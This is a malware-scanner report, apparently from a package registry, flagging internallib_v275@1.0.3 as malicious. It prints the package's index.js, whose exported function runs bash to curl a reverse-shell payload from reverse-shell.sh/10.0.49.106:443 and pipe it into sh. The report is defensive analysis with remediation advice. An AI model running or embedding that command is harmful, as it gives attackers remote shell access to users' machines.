registry / Remote code execution / internallib_v275
internallib_v275
This report shows the evidence for internallib_v275@1.0.3, the only known version.
AI Security Review
scanned 18d ago · by lpm-firewall-aiThe inspected entrypoint directly downloads and executes a reverse-shell payload. This concrete attack behavior supports blocking despite the absence of an install hook.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A consumer calls the exported command function.
Impact
Remote code executes with the calling process's permissions and can establish shell access.
Mechanism
child_process.exec launches Bash, which retrieves remote shell code with curl and pipes it into sh.
Attack narrative
Calling the package's exported command function starts a shell that downloads a payload from reverse-shell.sh and immediately executes it. The URL specifies 10.0.49.106:443 as the reverse-shell destination. Execution is caller-triggered, but the source establishes a concrete remote payload execution path.
AI rationale
The inspected entrypoint directly downloads and executes a reverse-shell payload. This concrete attack behavior supports blocking despite the absence of an install hook.
Evidence
package.jsonindex.js
Network endpoints1
reverse-shell.sh/10.0.49.106:443
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json selects index.js as the package entrypoint.
- The exported command function launches Bash to download a reverse-shell payload and pipe it directly into sh.
Evidence against
- Execution requires calling the exported command function; importing the package alone does not execute it.
- The manifest has no automatic install lifecycle hook.
Behavioral surface
ChildProcessShell
TrivialUrlStrings
Source & flagged code
8 flagged · loading sourceindex.jsView file
1const { exec } = require('child_process');
L2: exports.command = function(){
L3: console.log("robocop");
L4: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.49.106:443|sh"');
L5: return "deu bom";
Critical
1Trigger-reachable chain: manifest.main -> index.js
L1: const { exec } = require('child_process');
L2: exports.command = function(){
L3: console.log("robocop");
L4: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.49.106:443|sh"');
L5: return "deu bom";
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L11const { exec } = require('child_process');
L2: exports.command = function(){
High
3
Findings
2 Critical6 High2 Low
CriticalDownload Executeindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
HighShellindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to internallib_v275@1.0.3.
The versions list below shows the verdict for each recorded version.
- Avoid installing internallib_v275@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.